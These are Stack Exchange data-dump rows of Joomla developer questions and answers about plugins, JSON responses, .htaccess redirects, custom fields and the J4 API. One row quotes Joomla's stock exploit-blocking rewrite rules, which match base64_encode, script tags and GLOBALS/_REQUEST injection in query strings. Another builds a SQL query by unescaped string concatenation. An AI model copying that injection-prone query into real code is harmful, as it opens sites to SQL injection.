  <row Id="31649" PostTypeId="2" ParentId="18812" CreationDate="2021-11-08T14:55:32.433" Score="1" Body="&lt;p&gt;For Joomla!3 and 4 you can use the editor-builtin function to get syntax highlighting in backend.&lt;/p&gt;&#xA;&lt;p&gt;For syntax highlighting in frontend just install and enable this plugin: &lt;a href=&quot;https://extensions.joomla.org/extension/prism-syntax-highlighter-for-joomla/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/prism-syntax-highlighter-for-joomla/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It loads the needed files to use the syntax highlighting also in the frontend. It supports significantly more programming languages than the editor offers, see manual: &lt;a href=&quot;https://www.andrehotzler.de/en/projects/prism-prismjs-com-syntaxhighlighter-for-joomla.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.andrehotzler.de/en/projects/prism-prismjs-com-syntaxhighlighter-for-joomla.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;(The mentioned plugin for Joomla! was written by me, but not the syntax highlighter &amp;quot;PrismJS&amp;quot; used in the plugin)&lt;/p&gt;&#xA;" OwnerUserId="15870" LastEditorUserId="15870" LastEditDate="2021-11-10T08:44:07.683" LastActivityDate="2021-11-10T08:44:07.683" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31651" PostTypeId="1" CreationDate="2021-11-11T07:38:57.673" Score="1" ViewCount="221" Body="&lt;p&gt;I am new to Joomla, and so far, I used the basics to make a simple website. I decided to try out making a component, using JCB, that has a database of a list of items, and for each item, there is a list of checkboxes. What I want to do is submit the name of the item and the list of checked boxes to a bash script and run the bash script when I click on the submit button. But I do not know in which .php file I have to add the php function that will get called by the form action.&lt;/p&gt;&#xA;&lt;p&gt;This is what my site view looks like for the checkboxes:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&amp;quot;post&amp;quot;&amp;gt;&#xA;&amp;lt;div class=&amp;quot;btn-group&amp;quot; data-toggle=&amp;quot;buttons&amp;quot;&amp;gt;&#xA;&amp;lt;?php foreach ($this-&amp;gt;items as $item): ?&amp;gt;&#xA;  &amp;lt;label class=&amp;quot;btn btn-primary&amp;quot;&amp;gt;&#xA;    &amp;lt;input type=&amp;quot;checkbox&amp;quot; name=&amp;quot;test[]&amp;quot; onClick=&amp;quot;this.checked=!this.checked;&amp;quot;&amp;gt; &amp;lt;?php echo $item-&amp;gt;testcase; ?&amp;gt;&#xA;  &amp;lt;/label&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;input type=&amp;quot;submit&amp;quot; name =&amp;quot;Submit&amp;quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Can anyone help me with this issue? I would essentially like to know where I can add a php function to act as the form action. Thanks, and let me know if I should provide any other details.&lt;/p&gt;&#xA;" OwnerUserId="15882" LastActivityDate="2024-04-06T18:05:40.717" Title="Where do I add php code to submit an HTML form?" Tags="|php|component|custom-component|form|restful-api|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31652" PostTypeId="1" AcceptedAnswerId="31653" CreationDate="2021-11-11T08:50:31.210" Score="1" ViewCount="906" Body="&lt;p&gt;plugin code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined( '_JEXEC' ) or die;&#xA;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;use Joomla\CMS\Event\Event;&#xA;use Joomla\Event\SubscriberInterface;&#xA;&#xA;class PlgMygroupMyplugin extends CMSPlugin //implements SubscriberInterface&#xA;{&#xA;    &#xA;protected $autoloadLanguage = true;&#xA;&#xA;protected $app;&#xA;&#xA;//public static function getSubscribedEvents(): array&#xA;//{&#xA;//  return [&#xA;//      'getMyevent' =&amp;gt; 'getMyevent',&#xA;//  ];&#xA;//}&#xA;&#xA;/*&#xA;*&#xA;*/&#xA;public static function getMyevent()&#xA;{&#xA;    return 'OK!';&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I try to call in different ways all unsuccessfully&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;protected function getOptions()&#xA;    {&#xA;    &#xA;    PluginHelper::importPlugin('mygroup');&#xA;    &#xA;    $results = Factory::getApplication()-&amp;gt;triggerEvent('getMyevent');&#xA;    &#xA;    &#xA;    //$dispatcher = JDispatcher::getInstance();&#xA;    //$results = $dispatcher-&amp;gt;trigger( 'getMyevent' );&#xA;    &#xA;    &#xA;    //$dispatcher = Joomla\CMS\Factory::getApplication()-&amp;gt;getDispatcher();&#xA;    //$event      = new Joomla\Event\Event('getMyevent');&#xA;    //$results    = $dispatcher-&amp;gt;dispatch('getMyevent', $event);&#xA;    &#xA;    &#xA;    //$dispatcher = Factory::getApplication()-&amp;gt;getDispatcher();&#xA;    //$event = AbstractEvent::create('getMyevent', array());&#xA;    //$results = $dispatcher-&amp;gt;dispatch('getMyevent', $event);&#xA;&#xA;print_r($results);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13776" LastActivityDate="2021-11-11T10:15:38.450" Title="How to access the plugin event in Joomla 4" Tags="|plugin-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31653" PostTypeId="2" ParentId="31652" CreationDate="2021-11-11T10:15:38.450" Score="2" Body="&lt;p&gt;The problem is that most likely all events should start with &lt;strong&gt;&amp;quot;on&amp;quot;&lt;/strong&gt; when a different prefix is specified, as in my case the &lt;strong&gt;&amp;quot;get&amp;quot;&lt;/strong&gt; event simply does not fire. &lt;strong&gt;I changed the prefix to &amp;quot;on&amp;quot; and it worked.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Plugin\PluginHelper;&#xA;use Joomla\CMS\Factory;&#xA;&#xA;PluginHelper::importPlugin('mygroup');&#xA;$results = Factory::getApplication()-&amp;gt;triggerEvent('onMyevent');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The solution is found on this page&#xA;&lt;a href=&quot;https://issues.joomla.org/tracker/joomla-cms/20966&quot; rel=&quot;nofollow noreferrer&quot;&gt;issues.joomla.org&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13776" LastActivityDate="2021-11-11T10:15:38.450" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31655" PostTypeId="1" CreationDate="2021-11-12T00:54:23.997" Score="2" ViewCount="67" Body="&lt;p&gt;I was advised to post here &lt;a href=&quot;https://stackoverflow.com/questions/69935024/how-can-we-prevent-fbclid-and-gclid-parameters-from-causing-a-404-not-found-erro?noredirect=1#comment123627401_69935024&quot;&gt;from Stack Overflow&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;We need help. We're running an ad campaign and realized that a lot of paid traffic was landing on a 404 not found page.&lt;/p&gt;&#xA;&lt;p&gt;The issue is caused by auto-tagging in Google Ads when it appends a gclid parameter to the query string. Google Ads has the option to disable auto-tagging but there is no such option in Facebook. Traffic from Facebook lands on a 404 not found page every time. We inherited the site that was built on Joomla 3.10.0&lt;/p&gt;&#xA;&lt;p&gt;Here's what happens:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;We specify the link we want to promote, e.g. &lt;a href=&quot;https://www.example.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.example.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Google &amp;amp; Facebook append their parameters, e.g. &lt;strong&gt;?fbclid=IwAR1m3AFCDb2Ouiickaw3lk4CqMCbfgf0wc-JX-08WTddIw0CCw7iyCoLs2g&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Then, something weird happens with the redirection. The server access logs show the request getting redirected from:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;https://www.example.com/?fbclid=IwAR1m3AFCDb2Ouiickaw3lk4CqMCbfgf0wc-JX-08WTddIw0CCw7iyCoLs2g&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;https://www.example.com/www.example.com/?fbclid=IwAR1m3AFCDb2Ouiickaw3lk4CqMCbfgf0wc-JX-08WTddIw0CCw7iyCoLs2g&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;NOTE: &lt;strong&gt;example.com/www.example.com/&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;https://www.example.com/page-not-found&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;We think it's related to Joomla's rewriting system but aren't familiar with it enough to know how to fix it. It's also possible that we have a misconfiguration in the .htaccess file.&lt;/p&gt;&#xA;&lt;p&gt;We have &lt;strong&gt;Search Engine Friendly URLs&lt;/strong&gt; enabled. We have &lt;strong&gt;Use URL Rewriting&lt;/strong&gt; enabled.&lt;/p&gt;&#xA;&lt;p&gt;The site is in the /public_html/ folder. We've tried commenting out different parts of the .htaccess but nothing worked. We normally use WordPress and have limited knowledge of Joomla and/or .htaccess files.&lt;/p&gt;&#xA;&lt;p&gt;One final note: normal, readable query parameters don't seem to cause this issue because our manual UTMs work fine. Something about the fbclid/gclid strings in particular may be related... that's just a guess.&lt;/p&gt;&#xA;&lt;p&gt;Here's a copy of our .htaccess:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;##&#xA;# @package    Joomla&#xA;# @copyright  (C) 2005 Open Source Matters, Inc. &amp;lt;https://www.joomla.org&amp;gt;&#xA;# @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA;##&#xA;&#xA;## No directory listings&#xA;&amp;lt;IfModule mod_autoindex.c&amp;gt;&#xA;  IndexIgnore *&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;## Suppress mime type detection in browsers for unknown types&#xA;&amp;lt;IfModule mod_headers.c&amp;gt;&#xA;Header always set X-Content-Type-Options &amp;quot;nosniff&amp;quot;&#xA;##&#xA;# Disable Federated Learning of Cohorts (FLoC)&#xA;# If you uncomment the below directive you have to allow this technology in the &#xA;# Global Configuration of Joomla. Read more about this in the Post-Installation &#xA;# message in the backend.&#xA;##&#xA;# Header always set Permissions-Policy &amp;quot;interest-cohort=()&amp;quot;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;Options +FollowSymlinks&#xA;Options -Indexes&#xA;&#xA;## Disable inline JavaScript when directly opening SVG files or embedding them with the object-tag&#xA;&amp;lt;FilesMatch &amp;quot;\.svg$&amp;quot;&amp;gt;&#xA;  &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;    Header always set Content-Security-Policy &amp;quot;script-src 'none'&amp;quot;&#xA;  &amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;/FilesMatch&amp;gt;&#xA;&#xA;RewriteEngine On&#xA;&#xA;## Begin - Rewrite rules to block out some common exploits.&#xA;# Block any script trying to base64_encode data within the URL.&#xA;RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]&#xA;# Block any script that includes a &amp;lt;script&amp;gt; tag in URL.&#xA;RewriteCond %{QUERY_STRING} (&amp;lt;|%3C)([^s]*s)+cript.*(&amp;gt;|%3E) [NC,OR]&#xA;# Block any script trying to set a PHP GLOBALS variable via URL.&#xA;RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]&#xA;# Block any script trying to modify a _REQUEST variable via URL.&#xA;RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})&#xA;# Return 403 Forbidden header and show the content of the root home page&#xA;RewriteRule .* index.php [F]&#xA;## End - Rewrite rules to block out some common exploits.&#xA;&#xA;## Begin - Custom redirects&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;    RewriteCond %{HTTPS} off&#xA;    RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [R=301,L]&#xA;    &#xA;    RewriteCond %{HTTP_HOST} !^www\. [NC]&#xA;    RewriteRule (.*) https://www.%{HTTP_HOST}%{REQUEST_URI} [R=301,L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;## End - Custom redirects&#xA;&#xA;##&#xA;# Uncomment the following line if your webserver's URL&#xA;# is not directly related to physical file paths.&#xA;# Update Your Joomla! Directory (just / for root).&#xA;##&#xA;&#xA;RewriteBase /&#xA;&#xA;## Begin - Joomla! core SEF Section.&#xA;&#xA;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]&#xA;&#xA;# If the requested path and file is not /index.php and the request&#xA;# has not already been internally rewritten to the index.php script&#xA;RewriteCond %{REQUEST_URI} !^/index\.php&#xA;# and the requested path and file doesn't directly match a physical file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;# and the requested path and file doesn't directly match a physical folder&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;# internally rewrite the request to the index.php script&#xA;RewriteRule .* index.php [L]&#xA;## End - Joomla! core SEF Section.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Thanks for any insight you can provide.&lt;/p&gt;&#xA;" OwnerUserId="15886" LastActivityDate="2021-11-12T19:45:50.977" Title="Why is Joomla redirecting from example.com to example.com/example.com?" Tags="|joomla-3.x|url|sef|.htaccess-configuration|configuration|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="31656" PostTypeId="1" AcceptedAnswerId="31657" CreationDate="2021-11-12T08:03:28.140" Score="1" ViewCount="949" Body="&lt;p&gt;I want to create a Joomla json response for an Ajax request.&#xA;So, I followed the instructions here: &lt;a href=&quot;https://docs.joomla.org/JSON_Responses_with_JResponseJson&quot; rel=&quot;nofollow noreferrer&quot;&gt;JSON Responses with JResponseJson&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I implement the following code in my controller:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use \Joomla\CMS\Response\JsonResponse;&#xA;&#xA;class RamControllerAjax extends JControllerLegacy&#xA;{&#xA;    public function capitals()&#xA;    {&#xA;        try&#xA;        {&#xA;            $country = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('country');&#xA;&#xA;            if      ($country == 'UK')      $capital = 'London';&#xA;            elseif  ($country == 'Spain')   $capital = 'Madrid';&#xA;            else                            $capital = &amp;quot;I don't know&amp;quot;;&#xA;&#xA;            $capital_json = json_encode($capital);&#xA;            echo new JsonResponse($capital_json);&#xA;        }&#xA;        catch(Exception $e)&#xA;        {&#xA;            echo new JsonResponse($e);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When I call it with the URL: http://joomla_clasificados/index.php?option=com_ram&amp;amp;task=ajax.capitals&amp;amp;country=UK&lt;/p&gt;&#xA;&lt;p&gt;I receive the correct json response:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&amp;quot;success&amp;quot;:true,&amp;quot;message&amp;quot;:null,&amp;quot;messages&amp;quot;:null,&amp;quot;data&amp;quot;:&amp;quot;\&amp;quot;London\&amp;quot;&amp;quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But inserted in the middle of a normal Joomla page. Like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/xaQwK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xaQwK.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;What I want is the json response alone.&#xA;I tried some changes in the URL, like:&lt;/p&gt;&#xA;&lt;p&gt;http://joomla_clasificados/index.php?option=com_ram&amp;amp;task=ajax.capitals&amp;amp;country=UK&amp;amp;format=json&lt;/p&gt;&#xA;&lt;p&gt;that gives me the error:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Invalid controller: name='ajax', format='json'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Same thing with format=raw variant.&lt;/p&gt;&#xA;&lt;p&gt;What I am doing wrong ?&#xA;How could I get only the json response?&lt;/p&gt;&#xA;" OwnerUserId="14871" LastActivityDate="2021-11-12T09:28:51.333" Title="How to output just raw json from my Joomla controller for Ajax requests?" Tags="|joomla-3.x|ajax|json|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31657" PostTypeId="2" ParentId="31656" CreationDate="2021-11-12T09:28:51.333" Score="2" Body="&lt;p&gt;To use &lt;code&gt;format=json&lt;/code&gt; query parameter, the controller filename needs to be suffixed with the format, e.g. &lt;code&gt;ajax.json.php&lt;/code&gt;. This is mentioned in the linked documentation:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;If you are developing an MVC component, save such a controller in a file called mycontroller.json.php and place it inside your controllers folder. That controller is automatically executed if your request URL contains format=json.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-11-12T09:28:51.333" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31659" PostTypeId="2" ParentId="31655" CreationDate="2021-11-12T19:45:50.977" Score="1" Body="&lt;p&gt;We discovered that a backup from a few months ago didn't demonstrate the problem... A lot of changes have been made since then. Some extensions had been updated, as well as Joomla itself.&lt;/p&gt;&#xA;&lt;p&gt;We tried replacing only the .htaccess and configuration.php files but those didn't fix it.&lt;/p&gt;&#xA;&lt;p&gt;The changes we cared about most were stored in the database, so we re-uploaded the filesystem from the backup and preserved the data. Problem solved.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, I can't comment on why this was happening or what specifically fixed it. There was errant code somewhere.&lt;/p&gt;&#xA;" OwnerUserId="15886" LastActivityDate="2021-11-12T19:45:50.977" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31660" PostTypeId="2" ParentId="31605" CreationDate="2021-11-14T09:27:14.803" Score="2" Body="&lt;p&gt;The &lt;em&gt;pure&lt;/em&gt; Joomla 4 cli plugins use a new architecture. There are several articles and a worked example available via the J4 Tutorials page: &lt;a href=&quot;https://docs.joomla.org/JDOC:Joomla_4_Tutorials_Project&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/JDOC:Joomla_4_Tutorials_Project&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It may be worth your while having separate plugins for Web and Cli access. It can be tricky to set up - but I now have a plugin with related code doing 10 different jobs depending on the arguments passed in the cli command line.&lt;/p&gt;&#xA;" OwnerUserId="7428" LastActivityDate="2021-11-14T09:27:14.803" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31662" PostTypeId="1" CreationDate="2021-11-14T20:02:14.040" Score="1" ViewCount="484" Body="&lt;p&gt;In the Joomla 4! default template Cassiopeia, I can choose between Static and Fluid layouts.&lt;/p&gt;&#xA;&lt;p&gt;Static Layouts give me nice margins around the content, and makes the website have a more 'boxed' layout, like so:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9P1EW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9P1EW.png&quot; alt=&quot;static layout&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But if I choose the fluid layout, it still looks 'boxed' because the background colour of the site shows up arond the tops and sides of my module:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WlzKs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WlzKs.png&quot; alt=&quot;fluid module&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Even adding a full-width module suffix doesn't seem to do anything. How do I break out of this boxed layout and create a full width module, like the footer, inside the 'site grid'?&lt;/p&gt;&#xA;" OwnerUserId="13597" LastActivityDate="2021-11-14T20:02:14.040" Title="How to get true full width modules in Cassiopeia?" Tags="|joomla-4|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31663" PostTypeId="2" ParentId="28879" CreationDate="2021-11-15T14:53:28.757" Score="1" Body="&lt;p&gt;You can use Factory-&amp;gt;getDocument  title and link.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;&#xA;$doc = Factory::getDocument();&#xA;$title = $doc-&amp;gt;getTitle();&#xA;$url = $doc-&amp;gt;getLink();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15895" LastActivityDate="2021-11-15T14:53:28.757" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31664" PostTypeId="1" CreationDate="2021-11-15T17:07:34.703" Score="1" ViewCount="68" Body="&lt;p&gt;I'm using Joomla 4. In the configuration, URL-Rewrite is set to yes.&#xA;I think that's what caused this line:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Return 403 Forbidden header and show the content of the root home page&#xA;RewriteRule. * Index.php [F]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Now I have a problem that cron jobs can no longer be accessed.&lt;/p&gt;&#xA;&lt;p&gt;The URL &lt;code&gt;.../index.php?Option=com_acym&amp;amp;ctrl=cron&lt;/code&gt; is redirected to the home page. Is there a possibility to define an exception so that the access from outside works exactly under this URL, although index.php appears in it?&lt;/p&gt;&#xA;" OwnerUserId="15896" LastEditorUserId="12352" LastEditDate="2021-11-15T22:26:31.603" LastActivityDate="2022-05-08T14:02:55.377" Title="Exception for .htacess" Tags="|redirect|joomla-4.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31666" PostTypeId="1" CreationDate="2021-11-16T10:22:35.193" Score="1" ViewCount="316" Body="&lt;p&gt;I have two custom fields in my article for longitude and latitude. I'm then trying to build a module to get these two fields from the current article displayed and show in the module.&lt;/p&gt;&#xA;&lt;p&gt;I have the following but it's not working:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $id = $item-&amp;gt;id;&#xA;    $db = JFactory::getDbo();&#xA;    $query = 'select * from #__fields_values where item_id = &amp;quot;'.$id.'&amp;quot;';&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $fields = $db-&amp;gt;loadObjectList();&#xA;&#xA;    foreach ($fields as $field) {&#xA;        var_dump($field-&amp;gt;value);&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It's not even showing when using var_dump&lt;/p&gt;&#xA;&lt;p&gt;Ideally, I'd like to create the variables in the foreach and assign $latitude and $longitude a value (from the article custom field)&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="12352" LastEditDate="2021-11-16T10:50:13.737" LastActivityDate="2021-12-08T08:24:21.970" Title="Show article fields in module" Tags="|php|custom-field|fields|pivot|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31668" PostTypeId="2" ParentId="31666" CreationDate="2021-11-17T08:30:58.313" Score="1" Body="&lt;p&gt;Assuming this is for Joomla 3, you can use the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\MVC\Model\BaseDatabaseModel;&#xA;&#xA;\JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');&#xA;BaseDatabaseModel::addIncludePath(JPATH_SITE . '/components/com_content/models', 'ContentModel');&#xA;&#xA;$model = BaseDatabaseModel::getInstance('Article', 'ContentModel', ['ignore_request' =&amp;gt; true]);&#xA;$model-&amp;gt;setState('params', Factory::getApplication()-&amp;gt;getParams());&#xA;$fields = FieldsHelper::getFields(&#xA;    'com_content.article',&#xA;    $model-&amp;gt;getItem(Factory::getApplication()-&amp;gt;input-&amp;gt;get('id')),&#xA;    true&#xA;);&#xA;&#xA;$array = [];&#xA;&#xA;foreach($fields as $field)&#xA;{&#xA;    $array[$field-&amp;gt;name] = $field-&amp;gt;value;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will get the current ID, then obtain the fields associated with said ID. It will then create a new array with the name of the field as the key.&lt;/p&gt;&#xA;&lt;p&gt;If you &lt;code&gt;var_dump&lt;/code&gt; the array, you will see the following response:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [longitude] =&amp;gt; 184&#xA;    [latitude] =&amp;gt; 185&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can then do whatever you like with the &lt;code&gt;$array&lt;/code&gt; of fields.&lt;/p&gt;&#xA;&lt;p&gt;Note, the above code is very basic. You may want to add in some sanity checks to prevent any potential PHP errors. E.g checking if ID actually exists, etc.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2021-12-08T08:24:21.970" LastActivityDate="2021-12-08T08:24:21.970" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31669" PostTypeId="1" CreationDate="2021-11-17T18:19:47.433" Score="1" ViewCount="214" Body="&lt;p&gt;I made a new page &lt;a href=&quot;https://www.anavasis.gr/blog/peer-to-peer-lending&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.anavasis.gr/blog/peer-to-peer-lending&lt;/a&gt; but on the position sidebar - c, I have some modules that are important for the rest articles in the blog but not for that one. How can I hide those modules from a specific article in the category blog?&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Here you can see a screenshot of the problem:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kNXgM.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kNXgM.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15906" LastEditorUserId="12352" LastEditDate="2021-11-18T10:04:04.080" LastActivityDate="2024-03-16T10:18:19.977" Title="Hide modules from a specific blog page" Tags="|module|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31670" PostTypeId="2" ParentId="31669" CreationDate="2021-11-17T20:44:09.607" Score="0" Body="&lt;p&gt;You should be able to display or hide modules within Joomla by following these steps:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;on the Left nav menu, click on &amp;quot;content&amp;quot;, then &amp;quot;Site Modules&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;Clicking on Site Modules should display the site modules in the main content area.&lt;/li&gt;&#xA;&lt;li&gt;Select the module you want to display or hide.&lt;/li&gt;&#xA;&lt;li&gt;On the Menu Assignment tab, There is a Module Assignment dropdown with several options including &amp;quot;On all pages&amp;quot;, &amp;quot;No pages&amp;quot;, &amp;quot;only on the pages selected&amp;quot;, and &amp;quot;On all the pages except those selected&amp;quot;.&lt;/li&gt;&#xA;&lt;li&gt;Selecting &amp;quot;only on the pages selected&amp;quot; or &amp;quot;On all the pages except those selected&amp;quot; will will let you choose which pages this module is displayed.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;This should let you display or hide the specific modules on the peer-to-peer-lending article.&lt;/p&gt;&#xA;" OwnerUserId="7250" LastActivityDate="2021-11-17T20:44:09.607" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31671" PostTypeId="1" AcceptedAnswerId="31875" CreationDate="2021-11-17T20:45:15.653" Score="0" ViewCount="32" Body="&lt;p&gt;I want to listen to when an article has been changed and then send a request to a webhook.&lt;/p&gt;&#xA;&lt;p&gt;If it was manually being entered then I could do an &lt;code&gt;onAfterSave&lt;/code&gt; plugin.&lt;/p&gt;&#xA;&lt;p&gt;Will this work with an API call?  Would a workflow or something work for that?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2022-01-25T22:28:23.007" Title="Does on after save work with the API call?" Tags="|plugin|plugin-events|system-plugin|restful-api|webhooks|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31672" PostTypeId="1" AcceptedAnswerId="31675" CreationDate="2021-11-18T02:00:17.067" Score="1" ViewCount="173" Body="&lt;p&gt;While working with the new Joomla 4 web services API. The Article text does not update. Additionally, as per the documentation, when creating an article via API the article text variable is &lt;code&gt;articletext&lt;/code&gt;, but the response provided shows the variable is now &lt;code&gt;text&lt;/code&gt; and it is in data&amp;gt;attributes.&lt;/p&gt;&#xA;&lt;p&gt;When attempting to edit/patch an article the Article Text update never takes. There is no error provided and a 200 response is given. But after examination, the article's text is not altered.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.awesomescreenshot.com/video/6059450?key=e88fae288d9d9f8df3c79b02616593aa&quot; rel=&quot;nofollow noreferrer&quot;&gt;Example video provided here. &lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Why is this?&lt;/p&gt;&#xA;" OwnerUserId="15907" LastEditorUserId="12352" LastEditDate="2021-11-18T08:30:12.903" LastActivityDate="2022-12-23T12:30:21.880" Title="J4 API - There are two variables for Article Text, why do neither work on PATCH?" Tags="|joomla-api|joomla-4.x|joomla-4|restful-api|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
